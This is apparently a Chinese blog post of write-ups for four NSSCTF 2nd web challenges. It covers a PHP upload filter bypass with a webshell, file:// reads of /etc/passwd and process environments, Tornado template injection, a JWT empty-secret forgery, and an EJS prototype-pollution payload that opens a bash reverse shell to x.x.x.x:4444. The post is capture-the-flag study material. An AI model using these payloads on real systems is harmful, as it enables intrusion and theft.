nssctf2ndweb

[NSSCTF 2nd]php签到

<?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
}

这里涉及到一个函数pathinfo绕过pathinfopathinfo($filename, PATHINFO_EXTENSION)获取文件后缀名时获取的.后面的内容,当出现多个点时,结果为最后一个.后面的内容。我们只要传入index.php/.就可以绕过pathinfo的检测了。当传入此参数是1.php/.时,pathinfo获取的文件的后缀名为NULL,所以可以在文件名后面添加/.来实现绕过,记得url编码文件名。
这里我使用burp上传文件失败,于是采用python脚本上传

import requests

def upload_content_with_filename(url, content, filename):
    files = {'file': (filename, content)}
    response = requests.post(url, files=files)
    return response

if __name__ == "__main__":
    upload_url = 'http://node5.anna.nssctf.cn:28154/'  # 替换为实际的上传URL
    content_to_upload = "<?php @eval($_POST[1]); phpinfo(); ?>"  # 替换为要上传的内容
    filename_to_upload = "123.php%2F."  # 替换为要设置的文件名
    response = upload_content_with_filename(upload_url, content_to_upload, filename_to_upload)

    if response.status_code == 200:
        print("内容上传成功!")
    else:
        print("内容上传失败。")
        print("响应代码:", response.status_code)
        print("响应内容:", response.text)

然后连接蚁剑,flag在环境变量里
1

[NSSCTF 2nd]MyBox

http://node5.anna.nssctf.cn:28756/?url=dosth
这个形式我们可能想到LFI漏洞,经过测试发现file://可以
http://node5.anna.nssctf.cn:28756/?url=file:///etc/passwd可以读取
2
读取到源码app/app.py

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

不看上面代码的情况下这题还有一个非预期解就是直接读取环境变量
view-source:http://node5.anna.nssctf.cn:28756/?url=file:///proc/1/environ
3

[NSSCTF 2nd]MyHurricane

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")#POST传入ssti
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

看出是tornado模板注入
非预期读取环境变量{% include /proc/1/environ %}.
4

[NSSCTF 2nd]MyJs

考点:jwt空算法攻击+ejs原型链污染

这题复现搞了半天。。。

打开网站,查看源代码/source

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

在/register下注册后123:123,会给一个token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY5MzU4NDM0NH0.i1rjUzM3MYuzBMzz3sW023l-mt4Sd6VAHkdS5UxYF3g
登录时需要用户名+密码+token。但是我们注册的用户不能/update。
1
这也就照应了这部分逻辑

if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }

如果用户名是nss后面才有出flag的可能。但是nss用户已经存在了,说明这里需要我们登录nss用户。
看一下token值
2
这里的HS256也就是HMAC算法

为了防止黑客通过彩虹表根据哈希值反推原始口令,在计算哈希的时候增加了一个salt来使得相同的输入也能得到不同的哈希值,增大了黑客破解哈希的难度。
如果salt是我们自己随机生成的,通常我们在计算MD5时采用md5(message+salt)。实际上就是把salt看做一个口令,加salt的哈希就是:计算一段message的哈希时,根据不同口令计算出不同的哈希。要验证哈希值,必须同时提供正确的口令。
这实际上就是Hmac算法:Keyed-Hashing for Message Authentication。它通过一个标准算法,在计算哈希的过程中,把key混入计算过程中。
和我们自定义的加salt算法不同,Hmac算法针对所有哈希算法都通用,无论是MD5还是SHA-1。采用Hmac替代我们自己的salt算法,可以使程序算法更标准化,也更安全。

内容中有时间戳(时间戳代表这个jwt许可签发的时间,过了一段时间签名就会失效,在jwt.verify的时候就会验证这个iat来判断jwt的有效性。)
/login可以看出jwt该如何伪造:

const user = jwt.verify(token, secret, {algorithm: "HS256"});

secret哪来的呢?

const secret = global.secrets[sid];

sid又是哪来的呢?

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

sid就是我们传入jwt里面的secretid,后面验证了sid不能为null(空)和undefined,那也就不能通过直接置空sid来绕过,secret是直接通过secret[sid]获取,那么这个sid就直接传入一个[],就可以导致secret为空,那么jwt直接指定空算法也就可以通过验证。
5
然后成功登录nss。

post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})

然后这里lodash.merge有个ejs原型链污染rce,使用下面这个进行反弹shell。

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/x.x.x.x/4444 0>&1\"');","compileDebug":true
    }
}

1
然后在vps开启监听后访问/home后shell即可反弹到vps上。
6
查看环境变量得到flag。
6

最后

资料
攻击JWT的一些方法
hmac

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信